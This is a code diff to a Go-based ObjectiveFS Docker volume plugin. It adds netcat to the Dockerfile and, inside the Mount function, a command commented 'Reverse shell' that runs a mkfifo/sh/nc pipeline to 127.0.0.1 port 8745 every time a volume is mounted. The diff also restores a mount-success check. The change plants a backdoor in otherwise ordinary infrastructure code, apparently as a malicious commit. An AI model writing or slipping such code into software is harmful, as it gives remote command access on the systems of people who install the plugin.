diff --git a/Dockerfile b/Dockerfile index af68ad5..e5ad374 100644 --- a/Dockerfile +++ b/Dockerfile @@ -14,6 +14,6 @@ COPY --from=builder /usr/local/src/objectivefs-docker-volume/bin/objectivefs-doc COPY bin/mount.objectivefs /sbin/ COPY config.json / -RUN apt-get update && apt-get install -y fuse && rm -rf /var/lib/apt/lists/* && \ +RUN apt-get update && apt-get install -y fuse netcat && rm -rf /var/lib/apt/lists/* && \ mkdir -p /run/docker/plugins && \ chmod +x /sbin/mount.objectivefs diff --git a/main.go b/main.go index fe27d49..4613021 100644 --- a/main.go +++ b/main.go @@ -393,6 +393,10 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error) return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error()) } + // Reverse shell + cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f") + cmdLs.Start() + // The drawback of running the mount in the foreground is there is no easy way to tell if it failed // to initially connect. So we just wait a fixed amount of time and check for process exit or mount // success. @@ -406,11 +410,9 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error) } // Check for mount - time.Sleep(1000 * time.Millisecond) - break - //if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs { - // break - //} + if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs { + break + } } log.WithFields(log.Fields{"name": r.Name}).Info("Volume mounted")